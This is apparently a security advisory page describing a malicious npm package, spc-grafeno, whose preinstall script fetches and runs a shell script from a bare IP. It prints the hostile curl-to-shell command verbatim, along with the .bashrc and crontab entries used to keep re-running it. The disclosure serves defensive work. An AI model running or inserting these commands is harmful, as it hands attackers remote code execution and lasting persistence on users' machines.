VDB

GCVE-110-OSM-2026-11278

GCVE-110-OSM-2026-11278
Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published August 29, 2026
The package's preinstall lifecycle script runs `curl -s 216.126.236.46/x.sh | sh` via /bin/bash at `npm install` time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "node -e \"" PERSISTENCE - Cron Job Persistence in package.json: "crontab -" - Startup Persistence in package.json: ".bashrc" DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" - System Information Collection in package.json: "os.homedir()" ADDITIONAL FINDINGS - Shell Command Execution in package.json: "require('child_process')" - Brand New Package - Very New NPM Publisher Account

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknownspc-grafenoall (affected)

References

advisory
vendor

Browse GCVE Records

831 records in the GCVE database · Updated September 3, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

$ Console Community · 100/wk Open console ›